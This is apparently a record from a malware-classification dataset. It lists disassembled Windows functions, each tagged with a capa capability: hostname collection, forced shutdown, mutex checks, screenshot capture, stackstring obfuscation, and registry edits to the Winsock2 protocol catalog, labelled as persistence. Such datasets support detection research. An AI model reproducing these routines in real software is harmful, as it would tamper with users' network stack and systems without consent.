joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ae70
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42b3e9
push eax
mov dword fs:[0], esp
sub esp, 0x148
push ebp
mov ebp, ecx
push esi
xor esi, esi
mov ecx, dword [ebp + 0x1ac]
cmp ecx, esi
je 0x40aea1
mov eax, dword [ecx]
push 1
call dword [eax]
push 0x178
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 0xc], eax
cmp eax, esi
mov dword [esp + 0x158], esi
je 0x40aec7
push esi
mov ecx, eax
call fcn.00418cb0
jmp 0x40aec9
xor eax, eax
mov cl, byte [esp + 0xb]
push ebx
push edi
mov dword [ebp + 0x1ac], eax
mov byte [esp + 0x18], cl
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], esi
lea edx, [esp + 0x18]
mov dword [esp + 0x160], 1
push edx
call fcn.004188f0
mov eax, dword [esp + 0x20]
add esp, 4
lea edx, [esp + 0x28]
mov ecx, dword [eax]
lea eax, [esp + 0x2c]
push edx
push eax
mov dword [ebp + 0x18c], ecx
mov dword [esp + 0x30], 0x12c
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
lea ebx, [ebp + 0x194]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
mov esi, ecx
mov ecx, ebx
push esi
mov dword [esp + 0x1c], esi
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x40af6d
mov edi, dword [ebx + 4]
mov ecx, esi
mov edx, ecx
lea esi, [esp + 0x2c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov eax, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 4]
mov dword [ebx + 8], eax
mov byte [eax + ecx], 0
lea edx, [ebp + 0x1a4]
mov ecx, ebp
push edx
call fcn.0040efb0
mov eax, dword [ebp + 0x1b4]
xor edx, edx
mov dx, word [ebp + 0x190]
mov ecx, dword [eax + 0x20]
mov eax, dword [esp + 0x1c]
push ecx
push edx
mov ecx, dword [eax]
push ecx
mov ecx, dword [ebp + 0x1ac]
call fcn.004193b0
pop edi
pop ebx
test al, al
jne 0x40afd4
mov edx, dword [esp + 0x14]
mov byte [ebp + 0x20c], 1
push edx
call sub.MFC42.DLL_operatordelete
add esp, 4
xor al, al
pop esi
pop ebp
mov ecx, dword [esp + 0x148]
mov dword fs:[0], ecx
add esp, 0x154
ret
mov eax, dword [esp + 0x14]
push eax
call sub.MFC42.DLL_operatordelete
mov ecx, dword [esp + 0x154]
add esp, 4
mov al, 1
mov dword fs:[0], ecx
pop esi
pop ebp
add esp, 0x154
ret
Function at 0x40e830
Capabilities:
Shutdown system

Disassembly:
sub esp, 0xb0
lea eax, [esp + 0x1c]
push esi
push eax
mov byte [ecx + 0x20d], 1
mov dword [esp + 0x24], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x30], 2
jne 0x40e910
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 4]
push ecx
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea edx, [esp + 8]
mov dword [esp + 0x10], 1
push edx
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push 0
push 0
lea edx, [esp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0xc]
push 0
push edx
push 0
push eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40e937
push str.NtShutdownSystem
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40e8ff
mov cl, byte [esp + 0xbc]
test cl, cl
je 0x40e8fb
push 1
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
add esp, 0xb0
ret 8
push 2
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
add esp, 0xb0
ret 8
mov al, byte [esp + 0xbc]
push 0
test al, al
je 0x40e92f
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop esi
add esp, 0xb0
ret 8
push 0xd
call dword [sym.imp.USER32.dll_ExitWindowsEx]
pop esi
add esp, 0xb0
ret 8

Function at 0x40f9e0
Capabilities:
Check mutex on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne al
ret 4

Function at 0x411e70
Capabilities:
Get common file path

Disassembly:
sub esp, 0x2f4
lea eax, [esp + 0x100]
push ebx
lea ebx, [ecx + 0x940]
push eax
mov ecx, ebx
call fcn.00415ee0
test eax, eax
jne 0x411ee0
push ebp
push esi
push edi
lea ecx, [esp + 0x10]
push 0xff
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x4342cc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, ebx
call fcn.00416000
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2f4
ret
Function at 0x411ef0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x194
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0xa4]
push 0xff
mov ebx, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0x94
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x20]
lea edx, [esp + 0xa4]
cmp eax, 2
mov edi, str.mswinsock.dll
je 0x411f3c
mov edi, 0x4342cc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xa4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [ebx + 0x8c8], eax
je 0x411fa5
push str.IoControl
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [ebx + 0x8cc], eax
je 0x411fa5
mov ecx, dword [ebx + 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x92f7b843
call dword [ebx + 0x8cc]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x194
ret

Function at 0x412190
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x180
push esi
push edi
mov edi, dword [eax + 4]
test edi, edi
jne 0x4121a9
mov edi, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x5c]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x11
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x4c]
mov dword [esp + 8], 0x44
push ecx
push edx
push eax
push eax
push 0x20
push eax
push eax
push eax
lea eax, [esp + 0x7c]
mov dword [esp + 0x54], 1
push eax
push 0
mov word [esp + 0x60], 6
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
pop esi
setne al
add esp, 0x180
ret
Function at 0x4138b0
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x414bd0
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
mov esi, ecx
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [esi + 0x10]
push ebx
push 1
push eax
mov eax, dword [esp + 0x20]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, eax
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
mov dword [esi + 4], edx
repne scasb al, byte es:[edi]
not ecx
mov dword [esi + 0xc], ecx
mov dword [esi + 8], 1
test edx, edx
pop edi
pop esi
sete al
pop ebx
ret 8

Function at 0x414c20
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x108
push esi
mov esi, ecx
lea eax, [esp + 4]
lea ecx, [esp + 0xc]
push eax
mov eax, dword [esp + 0x114]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esi + 0x10]
push edx
push 0
push eax
push ecx
mov dword [esp + 0x1c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 8]
mov ecx, dword [esp + 4]
test eax, eax
mov dword [esi + 4], eax
mov dword [esi + 8], edx
mov dword [esi + 0xc], ecx
jne 0x414d31
push ebx
push ebp
push edi
lea edi, [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
cmp ebx, 0xfffffffd
jbe 0x414c89
call dword [sym.imp.MSVCP60.dll_void___cdecl_std::_Xlen_void_]
mov ebp, dword [esp + 0x120]
xor edx, edx
mov ecx, dword [ebp + 4]
cmp ecx, edx
je 0x414cc5
mov al, byte [ecx - 1]
test al, al
je 0x414cc5
cmp al, 0xff
je 0x414cc5
cmp ebx, edx
jne 0x414cf8
dec al
pop edi
mov byte [ecx - 1], al
mov dword [ebp + 4], edx
mov dword [ebp + 8], edx
mov dword [ebp + 0xc], edx
pop ebp
pop ebx
mov al, 1
pop esi
add esp, 0x108
ret 8
cmp ebx, edx
jne 0x414ce2
push 1
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
pop edi
pop ebp
pop ebx
mov al, 1
pop esi
add esp, 0x108
ret 8
mov eax, dword [ebp + 0xc]
cmp eax, 0x1f
ja 0x414cee
cmp eax, ebx
jae 0x414d01
push 1
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push ebx
mov ecx, ebp
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Copy_unsigned_int_]
mov edi, dword [ebp + 4]
mov ecx, ebx
mov edx, ecx
lea esi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp + 4]
mov dword [ebp + 8], ebx
pop edi
pop ebp
mov byte [eax + ebx], 0
pop ebx
mov al, 1
pop esi
add esp, 0x108
ret 8
xor al, al
pop esi
add esp, 0x108
ret 8
Function at 0x4157a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x24
xor al, al
mov byte [esp + 5], 0x10
mov byte [esp + 4], al
mov byte [esp + 3], al
mov eax, dword [esp + 0x2c]
mov byte [esp + 6], 0x18
and eax, 0xffff
mov byte [esp + 7], 0x20
mov ecx, eax
mov byte [esp + 8], 0x28
and ecx, 0x1f
mov byte [esp + 9], 0x30
mov byte [esp + 0xa], 0x38
mov byte [esp + 0xb], 0x40
mov byte [esp + 0xc], 0x48
mov byte [esp + 0xd], 0x50
mov byte [esp + 0xe], 0x58
mov byte [esp + 0xf], 0x60
mov byte [esp + 0x10], 0x68
mov byte [esp + 0x11], 0x70
mov byte [esp + 0x12], 0x78
mov byte [esp + 0x13], 0x80
mov byte [esp + 0x14], 0x88
mov byte [esp + 0x15], 0x90
mov byte [esp + 0x16], 0x98
mov byte [esp + 0x17], 0xa0
mov byte [esp + 0x18], 0xa8
mov byte [esp + 0x19], 0xb0
mov byte [esp + 0x1a], 0xb8
mov byte [esp + 0x1b], 0xc0
mov byte [esp + 0x1c], 0xc8
mov byte [esp + 0x1d], 0xd0
mov byte [esp + 0x1e], 0xd8
mov byte [esp + 0x1f], 0xe0
mov byte [esp + 0x20], 0xe8
mov byte [esp + 0x21], 0xf0
mov byte [esp + 0x22], 0xf8
mov byte [esp + 0x23], 0xff
mov dl, byte [esp + ecx + 4]
mov ecx, eax
shr ecx, 5
shr eax, 0xa
and ecx, 0x1f
and eax, 0x1f
mov byte [esp], dl
mov al, byte [esp + eax + 4]
mov dl, byte [esp + ecx + 4]
mov byte [esp + 2], al
mov eax, dword [esp + 0x28]
mov byte [esp + 1], dl
mov ecx, dword [esp]
mov dword [eax], ecx
add esp, 0x24
ret 8
Function at 0x415b90
Capabilities:
Capture screenshot

Disassembly:
push 0xffffffffffffffff
push 0x42bd50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x20]
call fcn.0042a2c0
push 0
push 0
push 0
push str.DISPLAY
mov dword [esp + 0x3c], 0
call dword [sym.imp.GDI32.dll_CreateDCA]
mov esi, eax
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ebx, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 8
push esi
mov dword [esp + 0x1c], eax
call ebx
push 0xa
push esi
mov ebp, eax
call ebx
push 8
push esi
mov dword [esp + 0x18], eax
call ebx
push 0xa
push esi
mov dword [esp + 0x24], eax
call ebx
mov ecx, dword [esp + 0x1c]
cmp ebp, ecx
jle 0x415c0b
mov ebp, ecx
cmp dword [esp + 0x10], eax
jle 0x415c15
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
push eax
push ebp
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esp + 0x14]
mov ebx, eax
push ebx
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [esp + 0x10]
push 0xcc0020
push 0
push 0
push esi
push edx
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x28]
push ebp
push 0
push 0
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0
push ebx
mov ecx, edi
call fcn.00414d40
push 0x436408
lea ecx, [esp + 0x1c]
mov ebp, eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [edi + 4]
mov byte [esp + 0x2c], 1
inc ecx
mov eax, ecx
mov dword [edi + 4], ecx
cmp eax, 0x64
jl 0x415c89
mov dword [edi + 4], 0
test ebp, ebp
je 0x415ccf
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x38]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push ecx
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call sub.MFC42.DLL_CString::CString_1
mov edx, dword [esp + 0x40]
mov ecx, edi
push edx
push ebp
call fcn.00414f40
test eax, eax
jne 0x415cc6
push eax
push eax
mov eax, dword [esp + 0x20]
push eax
call sub.MFC42.DLL_AfxMessageBox
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x415cdd
push 0
push 0
push str.Failed_to_load_IDB_TEST
call sub.MFC42.DLL_AfxMessageBox
mov ecx, dword [esp + 0x1c]
mov edi, dword [esp + 0x14]
push ecx
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push edi
call esi
lea ecx, [esp + 0x18]
mov byte [esp + 0x2c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov dword [esp + 0x2c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret 8
Function at 0x416160
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
xor edi, edi
push eax
push 0x20019
push edi
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
mov dword [esp + 0x24], ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x24], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4161a5
pop edi
pop esi
pop ebp
mov eax, 0xfffffcdd
pop ebx
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push edi
push edx
call ebx
test eax, eax
jne 0x4161f9
mov ebp, dword [esp + 0x120]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, dword [esp + 0x20]
call fcn.00416230
mov esi, eax
test esi, esi
jne 0x416213
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc edi
push 0x104
push edx
push edi
push eax
call ebx
test eax, eax
je 0x4161c8
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret 4
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret 4
Function at 0x416230
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x49c
mov edx, dword [esp + 0x4a0]
push esi
lea eax, [esp + 4]
push edi
mov esi, ecx
push eax
mov ecx, dword [esp + 0x4b0]
push 0xf003f
push 0
mov edi, 0x378
push ecx
push edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x416281
pop edi
mov eax, 0xfffffcdd
pop esi
add esp, 0x49c
ret 0xc
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x41641a
cmp dword [esp + 0xc], edi
jne 0x41641a
cmp dword [esp + 0x154], 1
jne 0x416402
cmp dword [esp + 0x178], 2
jne 0x416402
mov eax, dword [esp + 0x150]
lea ecx, [esp + 0x10]
push eax
push 0x434808
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [esp + 0x4bc]
add esp, 0xc
test eax, eax
push 1
push str.SYSTEMCurrentControlSetServicesWinSock2TCPIPSH
push reloc.OLEAUT32.dll_SysReAllocString
jne 0x4163a3
lea edi, [esp + 0x34]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x1c]
push ecx
push edx
push eax
mov ecx, esi
call fcn.004164c0
test eax, eax
jne 0x416342
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 0xfffffcda
pop esi
add esp, 0x49c
ret 0xc
lea edi, [esi + 8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc]
push ecx
push edx
push 3
push 0
push str.PackedCatalogItem
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x416402
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 0xfffffcd9
pop esi
add esp, 0x49c
ret 0xc
lea edx, [esp + 0x3ac]
push 0x104
lea eax, [esp + 0x20]
push edx
push eax
mov ecx, esi
call fcn.00416440
lea edi, [esp + 0x3a0]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc]
push ecx
push edx
push 3
push 0
push str.PackedCatalogItem
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop esi
add esp, 0x49c
ret 0xc
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 0xfffffcdb
pop esi
add esp, 0x49c
ret 0xc
Function at 0x416440
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4164af
mov ecx, dword [esp + 8]
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 8]
lea edx, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4164a4
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
cmp edx, eax
jne 0x4164a4
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
ret 0x18
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
ret 0x18

Function at 0x4164c0
Capabilities:
Set registry value

Disassembly:
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x4164f0
xor eax, eax
ret 0x18
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov eax, dword [esp + 0x18]
push ecx
mov ecx, dword [esp + 8]
push edx
mov edx, dword [esp + 0x1c]
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x416525
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
ret 0x18
mov ecx, dword [esp + 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
ret 0x18

Function at 0x416540
Capabilities:
Delete registry key
Delete registry value

Disassembly:
mov ecx, dword [esp + 4]
push esi
test ecx, ecx
je 0x4165b1
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4165b1
mov esi, dword [esp + 0x10]
test esi, esi
jne 0x41656a
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
neg eax
sbb eax, eax
pop esi
inc eax
ret 0xc
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4165b1
mov eax, dword [esp + 8]
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x4165a6
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop esi
ret 0xc
mov edx, dword [esp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
ret 0xc
Function at 0x4165c0
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x42bd6e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x410
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x18], esi
lea ebp, [esi + 0x14]
mov ecx, ebp
call fcn.0042a2c0
xor ebx, ebx
mov dl, 1
lea edi, [esi + 0x2c]
mov ecx, 0x40
xor eax, eax
mov dword [esi], 0x42e57c
mov word [esi + 6], 0x44d
mov dword [esi + 0x18], ebx
mov byte [esi + 4], dl
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esp + 0x428], ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
mov dword [esi + 0x1c], 0x7f
push eax
push 0xf003f
push ebx
mov byte [esi + 0x20], bl
push str.htmlfile_shellopencommand
mov dword [0x437114], ebx
push closesocket
mov byte [esi + 0x10], dl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4166aa
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x20]
push edx
push eax
push ebx
push 0x436408
push ecx
mov dword [esp + 0x28], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4166aa
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x21]
cmp al, 0x22
jne 0x41669e
mov al, byte [esp + 0x21]
cmp al, 0x22
je 0x41669c
cmp al, bl
je 0x4166aa
mov al, byte [ecx + 1]
inc ecx
cmp al, 0x22
jne 0x416690
mov byte [ecx], bl
lea edx, [esp + 0x21]
mov ecx, ebp
push edx
call sub.MFC42.DLL_CString::operator_1
mov ecx, dword [esp + 0x420]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x41c
ret